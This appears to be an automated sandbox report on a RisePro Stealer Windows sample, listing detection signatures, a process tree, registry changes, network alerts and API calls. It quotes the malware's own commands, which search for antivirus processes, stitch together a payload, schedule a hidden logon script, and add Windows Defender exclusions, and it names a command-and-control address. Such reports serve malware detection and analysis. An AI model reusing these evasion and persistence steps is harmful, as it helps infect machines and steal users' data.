Edit tour

Windows Analysis Report
5daucomrx8.exe

Overview

General Information

Sample name:	5daucomrx8.exe renamed because original name is a hash value
Original sample name:	33ff8752083bf6b5105749bf5b772b4a.exe
Analysis ID:	1519279
MD5:	33ff8752083bf6b5105749bf5b772b4a
SHA1:	01f8869d2fcd4ff1184dfc956905e01eb15f0d92
SHA256:	ee6ee03724690a677d4bf2610ea86d94eaeb94068d627fe36ec2f0353cc1c9ba
Tags:	exeuser-abuse_ch
Infos:

Detection

RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected RisePro Stealer

AI detected suspicious sample

Adds extensions / path to Windows Defender exclusion list (Registry)

Contains functionality to inject threads in other processes

Disable Windows Defender real time protection (registry)

Disables Windows Defender (deletes autostart)

Drops PE files with a suspicious file extension

Exclude list of file types from scheduled, custom, and real-time scanning

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Modifies Group Policy settings

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Sigma detected: WScript or CScript Dropper

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

Wscript called in batch mode (surpress errors)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sigma detected: Windows Defender Exclusions Added - Registry

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Classification

Process Tree

System is w10x64

5daucomrx8.exe (PID: 3524 cmdline: "C:\Users\user\Desktop\5daucomrx8.exe" MD5: 33FF8752083BF6B5105749BF5B772B4A)

cmd.exe (PID: 5584 cmdline: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4276 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3900 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6368 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3836 cmdline: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 3760 cmdline: cmd /c md 369580 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 4500 cmdline: findstr /V "MaskBathroomsCompoundInjection" Participants MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 1468 cmdline: cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Origin.pif (PID: 6952 cmdline: 369580\Origin.pif 369580\Z MD5: B06E67F9767E5023892D9698703AD098)

schtasks.exe (PID: 5224 cmdline: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Origin.pif (PID: 3848 cmdline: C:\Users\user\AppData\Local\Temp\369580\Origin.pif MD5: B06E67F9767E5023892D9698703AD098)

timeout.exe (PID: 5964 cmdline: timeout 15 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

wscript.exe (PID: 4820 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SecureHawk.pif (PID: 6692 cmdline: "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r" MD5: B06E67F9767E5023892D9698703AD098)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: Origin.pif PID: 3848	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 369580\Origin.pif 369580\Z, ParentImage: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, ParentProcessId: 6952, ParentProcessName: Origin.pif, ProcessCommandLine: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST, ProcessId: 5224, ProcessName: schtasks.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", ProcessId: 4820, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: 369580\Origin.pif 369580\Z, CommandLine: 369580\Origin.pif 369580\Z, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5584, ParentProcessName: cmd.exe, ProcessCommandLine: 369580\Origin.pif 369580\Z, ProcessId: 6952, ProcessName: Origin.pif

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, CommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\5daucomrx8.exe", ParentImage: C:\Users\user\Desktop\5daucomrx8.exe, ParentProcessId: 3524, ParentProcessName: 5daucomrx8.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, ProcessId: 5584, ProcessName: cmd.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", ProcessId: 4820, ProcessName: wscript.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, ProcessId: 3848, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Extensions

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5584, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , ProcessId: 3836, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE RisePro TCP Heartbeat Packet

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:53:17.211359+0200	2049060	1	A Network Trojan was detected	192.168.2.8	49710	3.36.173.8	50500	TCP

ET MALWARE [ANY.RUN] RisePro TCP (Activity)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:53:20.188890+0200	2046269	1	A Network Trojan was detected	192.168.2.8	49710	3.36.173.8	50500	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 5daucomrx8.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 21_2_01056B00 CryptUnprotectData,CryptUnprotectData,LocalFree,LocalFree,

21_2_01056B00

Source: 5daucomrx8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5daucomrx8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe			Jump to behavior

Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\5daucomrx8.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_003547B7 GetFileAttributesW,FindFirstFileW,FindClose,	17_2_003547B7
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00353E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00353E72
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035C16C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035CB81 FindFirstFileW,FindClose,	17_2_0035CB81
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_0035CC0C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F445
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F5A2
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0035F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035F8A3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00353B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00353B4F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	21_2_00B0C16C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B047B7 GetFileAttributesW,FindFirstFileW,FindClose,	21_2_00B047B7
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0CB81 FindFirstFileW,FindClose,	21_2_00B0CB81
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	21_2_00B0CC0C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_00B0F445
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_00B0F5A2
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	21_2_00B0F8A3
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B03B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00B03B4F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B03E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00B03E72
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FC2022 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	21_2_00FC2022
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01056000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	21_2_01056000
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01076770 FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,CreateDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	21_2_01076770
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010238D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	21_2_010238D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049060 - Severity 1 - ET MALWARE RisePro TCP Heartbeat Packet : 192.168.2.8:49710 -> 3.36.173.8:50500
Source: Network traffic	Suricata IDS: 2046269 - Severity 1 - ET MALWARE [ANY.RUN] RisePro TCP (Activity) : 192.168.2.8:49710 -> 3.36.173.8:50500

Source: global traffic

TCP traffic: 192.168.2.8:49710 -> 3.36.173.8:50500

Source: Joe Sandbox View

ASN Name: AMAZONEXPANSIONGB AMAZONEXPANSIONGB

Source: unknown

DNS traffic detected: query: jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 3.36.173.8
Source: unknown	TCP traffic detected without corresponding DNS query: 3.36.173.8
Source: unknown	TCP traffic detected without corresponding DNS query: 3.36.173.8
Source: unknown	TCP traffic detected without corresponding DNS query: 3.36.173.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_0036279E InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

17_2_0036279E

Source: global traffic

DNS traffic detected: DNS query: jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD

Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: 5daucomrx8.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesigng20
Source: Origin.pif, 00000015.00000002.3983887690.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesign0
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt04
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/0
Source: 5daucomrx8.exe, 00000000.00000003.1560779161.0000000002900000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000B.00000000.1595592768.0000000000B68000.00000002.00000001.01000000.00000005.sdmp, SecureHawk.pif, 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmp, Origin.pif, 00000015.00000002.3983571280.0000000000B68000.00000002.00000001.01000000.00000005.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, Studios.0.dr, SecureHawk.pif.11.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Origin.pif, Origin.pif, 00000015.00000002.3983668133.0000000000F90000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: Origin.pif	String found in binary or memory: https://ipinfo.io/
Source: Origin.pif, 00000015.00000002.3983668133.0000000000F90000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: Origin.pif, 00000015.00000002.3983887690.0000000001257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3983887690.000000000129E000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	String found in binary or memory: https://www.globalsign.com/repository/03
Source: Origin.pif, 00000015.00000002.3983887690.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/x
Source: Origin.pif	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: C:\Users\user\Desktop\5daucomrx8.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00364614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		17_2_00364614
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B14614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		21_2_00B14614

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00364416 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

17_2_00364416

